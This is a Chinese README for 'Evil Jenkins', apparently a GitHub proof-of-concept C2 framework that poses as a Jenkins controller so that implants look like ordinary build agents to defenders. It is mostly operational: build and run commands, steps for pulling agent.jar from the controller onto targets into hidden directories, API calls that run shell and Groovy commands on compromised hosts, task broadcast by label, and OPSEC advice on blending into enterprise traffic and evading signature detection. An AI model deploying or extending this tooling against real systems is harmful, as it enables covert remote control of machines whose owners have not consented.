pathsec/Evil-Jenkins
GitHub: pathsec/Evil-Jenkins
基于 Jenkins Remoting 协议的隐蔽 C2 框架,利用官方 agent.jar 实现流量伪装与跨平台远程控制。
Stars: 0 | Forks: 0
# Evil Jenkins
一个使用 Jenkins Remoting 协议作为传输层的命令与控制 (C2) 概念验证 (POC) 框架。通过模拟合法的 Jenkins 控制器,Evil Jenkins 允许操作员管理在网络防御者和流量分析的初步检查中看起来像普通 Jenkins 构建代理的 implant。
未修改的 `jenkins/inbound-agent` Docker 容器以及 Linux、macOS 和 Windows 上的原生 `agent.jar` 实例通过 **JNLP4-connect** 连接,这是全球生产 Jenkins 基础设施使用的相同的 TLS 包装协议。

## 为什么选择 Jenkins 作为 C2 通道?
- **融入企业流量。** Jenkins 在企业环境中很常见。从构建代理到控制器 TCP 50000 端口的连接可能不会引发警报,或者可能被忽略。
- **默认 TLS 加密。** JNLP4-connect 使用控制器的自签名证书协商 TLS 会话——所有任务和结果都经过加密传输,无需额外的基础设施。
- **使用已签名的、受信任的 implant 二进制文件。** 该 implant 是 Jenkins 项目发布的官方 `agent.jar`。它未被修补、重新打包或以其他方式修改,因此不会触发静态分析或基于签名的检测。
- **跨平台。** 同一个 agent JAR 可以在任何带有 JVM 的操作系统上运行。Shell 调度自动适应 Linux/macOS (`sh -c`) 或 Windows (`powershell`)。
## 架构
```
┌─────────────────────────────────────────────────────────┐
│ Evil Jenkins Controller (Java, port 8080 + 50000) │
│ │
│ HTTP API ←──── Flask UI (Python, port 5000) ────→ │
│ port 8080 (operator console) │
│ │
│ TCP port 50000 ←── implants (agent.jar / containers) │
└─────────────────────────────────────────────────────────┘
```
### 控制器 (Java / Kotlin — fat JAR)
控制器是 C2 服务器。它:
- 使用 `org.jenkins-ci.main:remoting` 在 **TCP 50000** 上监听入站 JNLP4-connect 握手
- 在 **8080 端口暴露 HTTP REST API** —— 所有 `/api/*` 路由均由 Bearer token 保护
- 在控制器端将 Groovy 脚本编译为 JVM 字节码,然后将编译后的类发送给 implant —— implant 不需要 Groovy 编译器或 ASM,因此任何 JVM 17+ 都可以工作
- 将 implant 注册信息持久化到 `data/agents.json`
- 在构建时将 `agent.jar` 打包在 fat JAR 内;如果未打包,则在首次启动时从 Maven 自动下载
### 操作员控制台
**5000 端口**上的轻量级 Web UI,将所有 `/api/*` 调用代理到控制器,透明地注入 Bearer token。提供:
- **远程 Shell** —— 针对任何已连接 implant 的交互式终端
- **Implant 管理** —— 注册、列表、断开连接、删除
- **下载助手** —— 用于部署 implant 的 agent JAR 和启动脚本
Shell 模式在首次使用时自动检测目标操作系统(通过 `System.getProperty('os.name')`),并将结果永久缓存在每个 implant 的 localStorage 中,根据情况通过 `sh -c` 或 `powershell -NonInteractive -Command` 路由命令。
## 先决条件
### Java 21
运行控制器的机器上需要。
**Linux (SDKMAN — 推荐):**
```
curl -s "https://get.sdkman.io" | bash
source "$HOME/.sdkman/bin/sdkman-init.sh"
sdk install java 21.0.5-tem
```
**Ubuntu / Debian (apt):**
```
sudo apt update && sudo apt install -y openjdk-21-jdk
```
**macOS (Homebrew):**
```
brew install openjdk@21
sudo ln -sfn $(brew --prefix)/opt/openjdk@21/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk-21.jdk
```
**Windows:**
从 https://adoptium.net 下载 OpenJDK 21 MSI 并运行安装程序。
验证:
```
java -version # should report 21.x
```
### Gradle 8
代码库包含 `gradlew` / `gradlew.bat` 包装脚本,因此无需单独安装 Gradle —— `./gradlew` 会在首次运行时下载正确的版本。
### Python 3.8+ (仅限操作员控制台)
通过您的系统包管理器或从 https://python.org/downloads 安装。
## 构建
```
cd controller
./gradlew shadowJar
```
生成 `controller/build/libs/controller-1.0.0.jar` —— 一个包含控制器、所有依赖项以及准备好分发到目标的捆绑 `agent.jar` 的单一 fat JAR。
## 运行控制器
```
java -jar controller/build/libs/controller-1.0.0.jar
```
控制器将 HTTP 绑定到 **0.0.0.0:8080**(所有接口 —— 远程 implant 需要以此访问 `/tcpSlaveAgentListener/` 进行连接发现),将 TCP 绑定到 **0.0.0.0:50000**。所有 `/api/*` 路由均由 Bearer token 保护。
### 配置
在 JAR 旁边放置一个 `application.yml` 以覆盖默认值,无需重新构建:
```
server:
httpHost: "0.0.0.0" # must be 0.0.0.0 so implants can reach /tcpSlaveAgentListener/
httpPort: 8080
tcpPort: 50000
baseUrl: "http://
:8080" # used in JNLP descriptors and launch commands
identity:
keystorePath: "data/controller.jks"
keystorePassword: "jenkins-agent-engine"
data:
agentsFile: "data/agents.json"
agentJarCache: "data/agent-jar-cache"
api:
token: "changeme-api-token" # change this — all /api/* routes require Bearer
```
## 运行操作员控制台
```
cd frontend
pip install -r requirements.txt
python app.py
```
在浏览器中打开 **http://127.0.0.1:5000**。
| 变量 | 默认值 | 描述 |
|---|---|---|
| `CONTROLLER_URL` | `http://localhost:8080` | Flask 代理的控制器端点 |
| `CONTROLLER_TOKEN` | `changeme-api-token` | 必须与 `application.yml` 中的 `api.token` 匹配 —— 在所有代理的 API 调用中注入 |
| `PORT` | `5000` | 控制台监听端口 |
| `LISTEN_HOST` | `127.0.0.1` | 控制台绑定地址。设置为 `0.0.0.0` 以对外暴露 |
| `DEBUG` | `1` | Flask 调试模式(`0` 禁用)|
```
CONTROLLER_TOKEN=your-secret-token CONTROLLER_URL=http://192.168.1.x:8080 python app.py
```
## 部署 Implant
### 1. 注册 implant (获取密钥)
使用操作员控制台中的 **Agents** 选项卡,或者:
```
curl -sX POST http://localhost:8080/api/agents \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer changeme-api-token' \
-d '{"name":"target-01","labels":["linux","prod"]}' | jq .
```
响应:
```
{
"name": "target-01",
"secret": "abc123...",
"launchCommand": "java -jar agent.jar -url http://localhost:8080 -name target-01 -secret abc123... -workDir /opt/agent"
}
```
### 2. 在目标上执行 implant
**Linux / macOS:**
```
curl -O http://:8080/jnlpJars/agent.jar
java -jar agent.jar \
-url http://:8080 \
-name target-01 \
-secret \
-workDir /tmp/.build
```
**Windows (cmd):**
```
curl -O http://:8080/jnlpJars/agent.jar
java -jar agent.jar -url http://:8080 -name target-01 -secret -workDir C:\ProgramData\build
```
**直接 TCP (绕过 HTTP 发现):**
```
java -jar agent.jar \
-direct :50000 \
-protocols JNLP4-connect \
-name target-01 \
-secret \
-workDir /tmp/.build
```
一旦连接,implant 将出现在操作员控制台中,并准备好接收任务。
## 任务执行
### 通过操作员控制台
1. 打开 http://127.0.0.1:5000
2. 在 Shell 选项卡的 **Target** 下拉菜单中选择一个已连接的 implant
3. **OS Shell 模式** —— 输入任何命令并按 Enter。控制台在首次使用时自动检测目标操作系统,并通过相应的 shell 路由。选择器旁边的一个徽章一旦检测到就会显示 `sh` 或 `powershell`
4. **Groovy Script 模式** —— 在 implant 的 JVM 上执行任意 Groovy。使用 `out.println(...)` 或 `return` 一个值
### 通过 REST API
所有 `/api/*` 调用都需要 `Authorization: Bearer `。设置一个别名以避免重复:
```
alias ejcurl='curl -s -H "Authorization: Bearer changeme-api-token" -H "Content-Type: application/json"'
```
**Shell 命令:**
```
ejcurl -X POST http://localhost:8080/api/execute \
-d '{
"script": "def proc = [\"sh\",\"-c\",\"whoami\"].execute(); proc.waitFor(); return proc.in.text",
"target": "target-01",
"timeoutSeconds": 30
}' | jq .
```
**Shell 命令:**
```
ejcurl -X POST http://localhost:8080/api/execute \
-d '{
"script": "def proc = [\"powershell\",\"-NonInteractive\",\"-Command\",\"whoami\"].execute(); proc.waitFor(); return proc.in.text",
"target": "win-target-01",
"timeoutSeconds": 30
}' | jq .
```
**广播到所有匹配标签的 implant:**
```
ejcurl -X POST http://localhost:8080/api/execute \
-d '{"script": "return InetAddress.localHost.hostName", "labels": ["prod"], "async": false}' | jq .
```
**异步任务 (触发并轮询):**
```
# Fire
ID=$(ejcurl -X POST http://localhost:8080/api/execute \
-d '{"script":"Thread.sleep(3000); return \"done\"","target":"target-01","async":true}' | jq -r .id)
# Poll
ejcurl http://localhost:8080/api/executions/$ID | jq .
```
## 标签
标签是在注册时分配的自由格式标签(例如 `linux`, `windows`, `prod`, `dmz`)。按标签而不是按名称定位,以同时向每个匹配的 implant 广播任务:
```
{ "script": "...", "labels": ["prod"] }
```
每个 implant 返回一个结果。
## Docker Compose (测试)
包含的 `docker-compose.yml` 启动一个控制器和两个测试 implant 用于本地开发。可能无法按预期工作。
```
AGENT_01_SECRET=$(curl -sX POST http://localhost:8080/api/agents \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer changeme-api-token' \
-d '{"name":"agent-01","labels":["linux"]}' | jq -r .secret)
AGENT_02_SECRET=$(curl -sX POST http://localhost:8080/api/agents \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer changeme-api-token' \
-d '{"name":"agent-02","labels":["linux"]}' | jq -r .secret)
AGENT_01_SECRET=$AGENT_01_SECRET AGENT_02_SECRET=$AGENT_02_SECRET docker compose up
```
## OPSEC 注意事项
- **HTTP API 默认绑定到 `0.0.0.0`**,以便 implant 可以访问 `/tcpSlaveAgentListener/` 进行连接发现。所有 `/api/*` 路由均受 token 保护。
- **TCP 端口 50000 对所有接口开放**,以便远程 implant 可以连接。这与生产 Jenkins 控制器的默认配置相匹配,有助于融入合法的基础设施。尽可能将其限制为受信任的源 IP。
- **Implant 二进制文件未修改。** `agent.jar` 是官方的 Jenkins remoting JAR,在构建时直接从 Maven 工件中提取。它不包含自定义代码,并将与已知的哈希值匹配。
- **TLS 是自签名的。** 控制器在首次运行时生成密钥库 (`data/controller.jks`)。Implant 连接是加密的,但未绑定到 CA。这与大多数真实的 Jenkins 部署相同。
- **不包含持久化机制。** 在目标上建立持久化(cron、systemd、计划任务等)由操作员决定。考虑使用 Jenkins 概述的技术之一 ;) https://wiki.jenkins.io/display/JENKINS/Installing+Jenkins+as+a+Windows+service
- **API token 认证** 保护所有 `/api/*` 路由。在部署前更改默认 token。
### 更改 API Token
1. 编辑 `application.yml`:
api:
token: "your-secret-token-here"
2. 使用匹配的 token 运行操作员控制台:
CONTROLLER_TOKEN=your-secret-token-here python app.py
3. 直接 API 调用者必须包含标头:
Authorization: Bearer your-secret-token-here
**不**需要 token 的路由(为了 Jenkins agent 兼容性故意不进行身份验证):
- `GET /jnlpJars/agent.jar` —— implant JAR 下载
- `GET /tcpSlaveAgentListener/` —— implant 发现标头
- `GET /computer/{name}/slave-agent.jnlp` —— JNLP 描述符
## 协议内部机制
控制器使用 `org.jenkins-ci.main:remoting:3341.v0766d82b_dec0` 实现 **JNLP4-connect**。
**连接握手:**
1. Implant 打开一个到端口 50000 的 TCP socket
2. Implant 通过 `DataOutputStream.writeUTF` 发送一个 2 字节长度前缀的 UTF-8 标语:`"Protocol:JNLP4-connect"`
3. 控制器使用 `DataInputStream.readUTF()` 读取标语,并将 socket 移交给 `JnlpProtocol4Handler`
4. JNLP4 使用控制器的自签名 X.509 证书(在首次运行时生成,持久化在 `data/controller.jks` 中)执行 TLS 握手
5. 控制器通过 `JnlpClientDatabase` 验证 implant 名称和 HMAC 密钥
6. 建立双向 `Channel` —— 控制器现在可以向 implant 分发 `Callable` 对象
**任务执行:**
1. 控制器使用 `CompilationUnit` 将 Groovy 源代码编译为 JVM 字节码(目标为 JDK 17)
2. 编译后的类字节嵌入在 `GroovyScriptCallable` 中(实现 `hudson.remoting.Callable`)
3. Callable 被序列化并通过 Channel 发送到 implant
4. Implant 使用自定义 `ClassLoader` 反序列化并执行 —— 目标上不需要 Groovy 编译器
5. 输出通过绑定的 `PrintWriter` 捕获并作为 `String` 返回
**关键的 remoting 类:**
- `JnlpProtocol4Handler` —— TLS 握手和容量协商
- `JnlpClientDatabase` —— implant 名称/密钥验证
- `JnlpConnectionStateListener` —— 连接生命周期回调 (`afterProperties`, `afterChannel`)
- `Channel` —— 双向 RPC (`channel.call`, `channel.callAsync`, `channel.preloadJar`)
- `PingThread` —— 保活心跳;超时时关闭通道
## API 参考
| Method | Path | Auth | 描述 |
|--------|------|------|-------------|
| POST | `/api/agents` | Bearer | 注册一个新的 implant |
| GET | `/api/agents` | Bearer | 列出所有 implant |
| GET | `/api/agents/{name}` | Bearer | Implant 详情 + 密钥 |
| DELETE | `/api/agents/{name}` | Bearer | 删除 implant |
| POST | `/api/agents/{name}/disconnect` | Bearer | 断开通道连接 |
| POST | `/api/execute` | Bearer | 向 implant 分发任务 |
| GET | `/api/executions` | Bearer | 执行历史 |
| GET | `/api/executions/{id}` | Bearer | 单个执行结果 |
| POST | `/api/executions/{id}/cancel` | Bearer | 取消正在运行的任务 |
| POST | `/api/agent-jar/generate` | Bearer | 重新生成 implant JAR |
| GET | `/api/agents/{name}/launch-script` | Bearer | 下载 bash 启动脚本 |
| GET | `/api/agents/{name}/docker-compose.yml` | Bearer | 下载 Docker Compose 片段 |
| GET | `/jnlpJars/agent.jar` | None | 下载 implant JAR |
| GET | `/tcpSlaveAgentListener/` | None | 兼容 Jenkins 的发现端点 |
| GET | `/computer/{name}/slave-agent.jnlp` | None | implant 的 JNLP 描述符 |标签:C2框架, DNS 反向解析, IP 地址批量处理, Jenkins, JNLP4-connect, JS文件枚举, Living off the Land, POC验证, 人体姿态估计, 企业安全, 反向代理, 后台面板检测, 后端开发, 命令与控制, 安全学习资源, 恶意软件, 流量伪装, 消息认证码, 白利用, 编程工具, 网络信息收集, 网络安全, 网络资产管理, 请求拦截, 远程代码执行, 逆向工具, 隐私保护, 隧道技术